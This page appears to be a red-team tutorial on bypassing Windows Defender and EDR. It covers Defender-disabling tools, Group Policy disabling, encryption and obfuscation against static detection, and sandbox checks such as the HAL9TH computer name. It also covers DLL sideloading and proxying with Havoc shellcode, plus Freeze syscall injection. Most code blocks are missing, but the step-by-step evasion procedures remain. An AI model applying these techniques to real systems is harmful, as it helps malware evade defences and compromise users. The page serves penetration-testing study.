Antivirus (AV) Bypass
In this guide, we provide a deep dive into Windows Antivirus (AV) and Endpoint Detection and Response (EDR) bypass techniques, empowering red teamers and advanced penetration testers with up-to-date,
Become VeryLazyTech member! 🎁
Follow us on:
✖ Twitter @VeryLazyTech.
👾 Github @VeryLazyTech.
📜 Medium @VeryLazyTech.
📺 YouTube @VeryLazyTech.
📩 Telegram @VeryLazyTech.
🕵️♂️ My Site @VeryLazyTech.
Visit our shop for e-books and courses. 📚
Stop Windows Defender (Bypass Microsoft Defender)
When performing red team operations or malware testing in lab environments, disabling or bypassing Windows Defender (Microsoft Defender) is often a necessary first step. While modern Defender versions are harder to disable, there are still a few common tools and techniques used to neutralize it — especially if you have administrative privileges.
defendnot – Kill Defender in One Click
defendnot is a lightweight tool designed to disable Windows Defender by modifying key services and registry entries. It's often used in post-exploitation stages where persistence is already achieved. Keep in mind that many versions of this tool are flagged as malicious, so execution must be stealthy or obfuscated.
Features:
Disables real-time protection
Stops Defender services
Modifies registry keys to prevent reactivation
no-defender – Fake AV Method
The no-defender script uses a clever method to fool Windows into thinking another antivirus solution is installed. This triggers Windows Security Center to automatically disable Defender to prevent conflicts.
How it works:
Fakes the presence of another AV solution by editing WMI or registry entries
Causes Defender to automatically shut itself down
Requires minimal permissions and leaves fewer traces than brute-force disabling
✅ Effective in environments where you cannot fully disable Defender, but need to suppress its real-time scanning.
Manual Defender Disable (Admin Rights Required)
If you have administrative privileges, the most direct method is to disable Defender manually via PowerShell or Group Policy.
PowerShell (Run as Admin):
Group Policy:
Run
gpedit.mscNavigate to:
Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender AntivirusSet Turn off Microsoft Defender Antivirus to Enabled
This will completely shut down Defender, though modern Windows versions may automatically reactivate it after a while or after reboot.
AV Evasion Methodology
If you’ve ever created a tool or payload for a red team exercise, malware lab, or ethical hacking test, you’ve probably seen your file get instantly flagged or deleted by antivirus software — even before you could run it.
That’s because modern security tools like Windows Defender and EDR (Endpoint Detection and Response) software are much smarter than they used to be. They don’t just look for viruses — they analyze how files behave, both before and after execution.
In this guide, we’ll break down how AVs detect malware and how attackers try to bypass each layer using real-world examples.
Static Detection — "Caught Without Even Running"
Static detection is the simplest and fastest method. The antivirus scans your file before it runs, and checks:
Known virus signatures (patterns of code)
Suspicious or malicious strings (e.g.,
mimikatz,powershell -enc)Metadata (file name, version, company name, icon)
File structure (e.g., abnormal PE headers or compressed sections)
🛠️ How to Bypass It:
🔒 Encryption
Attackers encrypt the malicious part of the code so antivirus can’t see it. A loader program decrypts it during runtime.
Encrypting a Cobalt Strike beacon and using a C# loader to inject it into memory.
🌀 Obfuscation
They change the code's appearance without changing what it does. This confuses signature scanners.
⚙️ Custom Tools
They build their own tools from scratch, so there's no existing signature.
✅ Pro Tip: Use ThreatCheck
It’s a tool that helps you test which parts of your file Defender doesn’t like. It breaks your file into pieces and checks which ones trigger detection.
Dynamic Analysis — "Let's See What It Actually Does"
If your file passes the static checks, AVs may run it in a sandbox — a fake computer environment — to see what it tries to do.
If your file starts:
Dumping passwords
Spawning PowerShell
Reading browser cookies …it’ll probably get blocked.
🛠️ How to Avoid Sandboxes:
⏳ Sleep Before Execution
They delay the malicious action. Sandboxes only run files for a short time.
⚠️ Advanced sandboxes may skip sleep calls, so attackers use tricky sleep methods (like CPU loops or encryption delays).
💻 Check for Low Resources
Most sandboxes have very little RAM and CPU to stay fast.
🖥️ Machine Checks (Anti-Sandbox Tricks)
They check if the file is running on a real user’s machine or a fake one.
Microsoft Defender's sandbox uses a computer name called HAL9TH. So malware can do:
➡️ Example: Only run if the system is part of a real company domain like contoso.local.
It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit.
🛡️ EXE vs DLL Payloads for AV Evasion
When it comes to bypassing antivirus (AV) detection, Dynamic Link Libraries (DLLs) often present a lower detection profile compared to standard executable (EXE) files. This observation is especially true in the context of offensive security tools like Havoc, where detection signatures for EXEs are more mature and widely distributed among endpoint protection platforms.
In practical red team operations, it's generally advisable to favor DLL payloads over EXEs whenever feasible. This is because DLL files tend to attract less immediate scrutiny, both from static and dynamic analysis engines. There are several reasons for this:
Less common as direct execution targets: DLLs are typically loaded by another process rather than executed directly, making them less likely to be flagged during casual analysis.
Execution context control: DLLs can be injected into trusted processes (e.g., via
rundll32.exe,regsvr32.exe, or manual injection), allowing more stealthy execution chains.Fewer behavioral triggers: Since DLLs are often executed through indirect methods, they may not immediately display suspicious behavior, helping them evade heuristic or behavioral detection models.
🔍 Case Comparison – EXE vs DLL Detection Rates
As demonstrated in the following virustotal.com comparison, a standard Havoc DLL payload showed a significantly lower detection rate compared to its EXE counterpart:
EXE Payload: Detected by 7 out of 26 engines
DLL Payload: Detected by only 4 out of 26 engines
This doesn't imply DLLs are undetectable — all payloads can and eventually will be caught if reused enough — but the lower signature profile makes DLLs a better starting point for stealthy execution.
🧬 DLL Sideloading & Proxying for Stealthy Payload Execution
DLL Sideloading is a well-known and highly effective technique for achieving stealthy execution of malicious code by exploiting the Windows DLL search order. The concept is simple: many applications load DLLs from their own directory before searching system paths. By placing a malicious DLL alongside a trusted application, you can trick the application into loading your code instead of the legitimate library.
This technique is particularly valuable in red team engagements, especially when you want to blend into legitimate application behavior.
🔍 Identifying DLL Sideloading Opportunities
To discover applications susceptible to DLL sideloading, tools like Siofra are incredibly useful. Below is a PowerShell script that recursively scans executables within C:\Program Files\ and checks for potential DLL hijack opportunities:
This will produce a list of applications and the DLLs they attempt to load — helping you target candidates for hijacking.
⚠️ Important Note: Many public sideloading targets are widely known and monitored by EDRs. Always test and verify before using them in an engagement. Prefer discovering new, lesser-known targets for stealthier operations.
🔁 DLL Proxying: Preserving Application Functionality
Simply dropping a DLL with the correct filename is not enough. Applications often expect the loaded DLL to expose specific exported functions. If these are missing, the application may crash or fail to load the DLL.
To overcome this, we use DLL Proxying (or Forwarding) — a technique where the malicious DLL:
Implements required exports that forward calls to the original DLL.
Executes the payload alongside this forwarding logic.
This preserves the original functionality of the application while allowing malicious code execution — making it extremely stealthy.
🛠️ Building a Proxy DLL with SharpDLLProxy
We’ll use the excellent SharpDllProxy tool by @flangvik to automate the creation of proxy DLLs:
Steps to Create a Working Proxy DLL:
Identify a vulnerable application Use tools like Siofra or Process Hacker to find a binary that loads external DLLs insecurely.
Generate shellcode For example, using Havoc C2.
(Optional) Encode the shellcode To further obfuscate detection, you can use an encoder like Shikata Ga Nai (SGN).
Generate the proxy code Use SharpDllProxy to generate forwarding stubs and inject the shellcode:
This will generate:
A C source file that proxies the original DLL and executes your payload.
The renamed original DLL to forward calls to.
Compile the proxy DLL
Open Visual Studio and create a new C++ DLL project.
Paste the proxy code from
output_dllname/dllname_pragma.c.Build the DLL.
Deploy your proxy DLL Place it alongside the target executable under the expected DLL name.
❄️ Freeze: Stealthy Shellcode Execution via Direct Syscalls & Suspended Processes
Freeze is a lightweight and powerful payload delivery toolkit developed by Optiv. It is designed to evade modern Endpoint Detection and Response (EDR) solutions by leveraging several advanced evasion techniques, including:
Suspended process injection
Direct system calls (syscalls)
Custom shellcode encryption and execution
Bypassing userland API hooks
Freeze is particularly effective in situations where traditional injection techniques (e.g., CreateRemoteThread, VirtualAllocEx) are flagged by AV/EDR.
⚙️ How Freeze Works
Freeze creates an executable payload stub that, when launched, will:
Decrypt and load embedded shellcode.
Spawn a suspended legitimate process (e.g.,
notepad.exeordllhost.exe).Inject the shellcode using direct syscalls instead of standard Windows APIs — avoiding common detection triggers.
Resume the target process, executing your shellcode in memory.
This approach minimizes behavioral anomalies and avoids detection by user-mode hooks that most EDRs rely on.
🛠️ Using Freeze with Havoc Shellcode
Here’s a quick walkthrough for building and using Freeze with shellcode generated from Havoc C2:
Clone and build Freeze:
Generate your shellcode (e.g., raw
.binpayload from Havoc C2 or any shellcode generator like msfvenom or Donut).Build the Freeze payload with encryption enabled:
-I demon.bin: Input shellcode.-encrypt: Encrypt the payload in the stub for obfuscation.-O demon.exe: Output filename.
Execution Run the resulting
demon.exe. It will launch a trusted process in a suspended state, inject your shellcode using direct syscalls, and resume execution — without triggering Microsoft Defender or most commercial EDRs (as of the last test).
✅ Result: In controlled tests, Freeze-enabled payloads executed silently with no alerts from Windows Defender, thanks to its combination of encryption, syscalls, and stealthy process manipulation.
Learn & practice For the Bug Bounty
Last updated
Was this helpful?
